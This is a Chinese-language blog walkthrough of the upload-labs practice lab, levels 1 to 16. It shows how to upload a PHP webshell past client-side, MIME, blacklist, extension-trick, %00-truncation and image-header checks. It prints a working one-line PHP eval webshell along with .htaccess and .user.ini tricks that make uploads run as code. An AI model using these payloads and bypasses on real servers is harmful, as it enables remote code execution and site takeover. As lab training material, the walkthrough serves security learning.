upload-labs靶场攻略(pass1-16)

靶场搭建

参考官方即可:

upload-labs靶场下载地址:https://github.com/c0ny1/upload-labs

文件上传漏洞的条件

1、可以绕过目标服务器的检测,成功上传。

2、可以获取到木马文件的存储路径,存储路程具备可执行权限。

判断上传漏洞类型

pass-1(JS代码绕过)

准备一个webshell.php脚本文件, 是一个简单的一句话木马

<?php @eval($_POST[c]);?>

 将脚本文件上传, 结果直接被网站拦截掉了

第一种方法:

第一就是将浏览器js代码禁用掉,右键---检查---调试器---设置---禁用JavaScript。

上传webshell文件。

鼠标右键查看该图像的地址, 即为webshell的网页路径. 例如此处上传的webshell路径为http://10.211.55.5/upload-labs-master/upload/webshell.php

打开蚁剑, 输入webshell的路径和密码, 然后点击测试连接, 显示连接成功。

第二种方法是用bp抓包工具直接将改后缀名

将webshell.php文件的后缀改为webshell.jpg上传。

将webshell.jpg后缀改回webshell.php,成功上传。

打开蚁剑, 输入webshell的路径和密码, 然后点击测试连接, 显示连接成功。

pass-2(MIME类型绕过)

此关卡是通过对上传的文件类型进行检验, 若文件类型不为image/jpeg, 则上传失败, 只需抓包修改Content-type字段的值为image/jpeg即可绕过限制。

使用burpsuite抓取上传webshell.php的数据包, 将Content-Type字段的值修改成image/jpeg

打开蚁剑, 输入webshell的路径和密码, 然后点击测试连接, 显示连接成功。

pass-3(上传可解析后缀)

此关卡的黑名单只有asp、aspx、php、jsp, 并没有限制php3, php5这些后缀

需要在phpstudy的http.conf文件添加一行:AddType application/x-httpd-php .php .phtml .php5

目的是为了让网站能够解析后缀为php5文件, 然后重启phpstudy

上传webshell.php,上传失败。

使用burpsuite抓取上传webshell.php的数据包, 将后缀改成php3、php4、php5、phtml、pht试一下

webshell.php-->webshell.phtml 成功上传。

打开蚁剑, 输入webshell的路径和密码, 然后点击测试连接, 显示连接成功。

pass-4(上传.htaccess)

当php版本高于5.2.17时,.htaccess文件上传漏洞就不再存在。

上传.htaccess文件,文件内容如下:

AddType application/x-httpd-php .jpg .txt

随后上传webshell.jpg, 文件内容如下:

<?php @eval($_POST[C]);?>

上传成功后查看文件路径, 可以发现网站使用php解析了webshell.jpg里的内容。

打开蚁剑, 输入webshell的路径和密码, 然后点击测试连接, 显示连接成功。

pass-5(后缀添加. .)/pass-5(.user.ini绕过)

php5.2.17

burpsuite抓取上传文件的数据包, 将文件名称修改成webshell.php. ., 随后文件上传成功

打开蚁剑, 输入webshell的路径和密码, 然后点击测试连接, 显示连接成功。

php7.3.4

上传.user.ini文件

auto_prepend_file=webshell.jpg

上传webshell.jpg

打开蚁剑,访问readme.php文件,输入webshell.jpg的密码,测试连接,显示连接成功。

pass-6(后缀大小写)

此关卡去除了大小写转换函数, 也就是说可以通过构造大小后缀来绕过限制, 例如Php,PHP这种后缀

上传webshell.php并抓包, 修改文件名为webshell.Php

上传成功后访问脚本文件,打开蚁剑, 输入webshell的路径和密码, 然后点击测试连接, 显示连接成功。

pass-7(空格绕过)

此关卡去除了删除末尾空格的函数, 这样我们可以在文件后缀末尾添加空格来实现绕过

抓取上传文件的数据包, 修改文件名称, 在文件后缀末尾后面添加空格

上传成功后访问脚本文件,打开蚁剑, 输入webshell的路径和密码, 然后点击测试连接, 显示连接成功。

pass-8(后缀添加.)

抓包修改文件名为webshell.php.

webshell.php-->webshell.php.

上传成功后访问脚本文件,打开蚁剑, 输入webshell的路径和密码, 然后点击测试连接, 显示连接成功。

pass-9(::$data绕过)

上传文件并抓包, 在文件后缀末尾添加字符串::$data

webshell.php-->webshell.php::$data

上传成功后,去掉后缀::$data访问脚本文件,打开蚁剑, 输入webshell的路径和密码, 然后点击测试连接, 显示连接成功。

pass-10(后缀添加. .)

抓包修改文件名称为webshell.php. .

webshell.php-->webshell.php. .

上传成功后,访问脚本文件,打开蚁剑, 输入webshell的路径和密码, 然后点击测试连接, 显示连接成功。

pass-11(双写后缀绕过)

抓包修改文件后缀为pphphp

webshell.php-->webshell.pphphp

上传成功后,访问脚本文件,打开蚁剑, 输入webshell的路径和密码, 然后点击测试连接, 显示连接成功。

pass-12(%00截断绕过)

上传webshell.php文件, 抓包修改文件名称为webshell.jpg, 修改save-path参数为../upload/webshell.php%00

上传成功后,去掉后缀/2620240419224556.jpg访问脚本文件,打开蚁剑, 输入webshell的路径和密码, 然后点击测试连接, 显示连接成功。

pass-13(%00截断绕过)

抓包修改post请求数据为../upload/webshell.php%00, 并对%00进行url解码

下图是%00解码后的结果, 是一个肉眼看不到的空字符, 随后还需将文件名修改成webshell.jpg

上传成功后,去掉后缀/3720240419225139.jpg访问脚本文件,打开蚁剑, 输入webshell的路径和密码, 然后点击测试连接, 显示连接成功。

pass-14(图片马)

在文件内容前面添加字符串"GIF89A"(这是gif格式的文件头), 并将文件后缀修改成jpg

随后上传文件配合文件包含漏洞解析脚本

pass-15(图片马之getimagesize函数)

getimagesize() 函数返回一个数组,数组的第三个元素是图像的类型, 而该函数会通过读取文件头部的几个字符串(即文件头), 来判断是否为正常图片的头部, 我们只需将头部内容修改成图片文件的头部, 例如添加文件头GIF89A, 就可以绕过此机制

在文件内容前面添加字符串"GIF89A"(这是gif格式的文件头), 并将文件后缀修改成jpg

随后上传文件配合文件包含漏洞解析脚本

pass -16(图片马之exif_imagetype函数)

此关卡需要开启php_exif模块, 需要修改php.ini配置文件去开启它

使用exif_imagetype()函数来识别文件类型, 此函数和getimagesize()的原理差不多, 都是通过读取文件头来判断文件类型

正常上传一张jpg图片,抓包加入一句话木马。

随后上传文件配合文件包含漏洞解析脚本

总结

  • 27
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值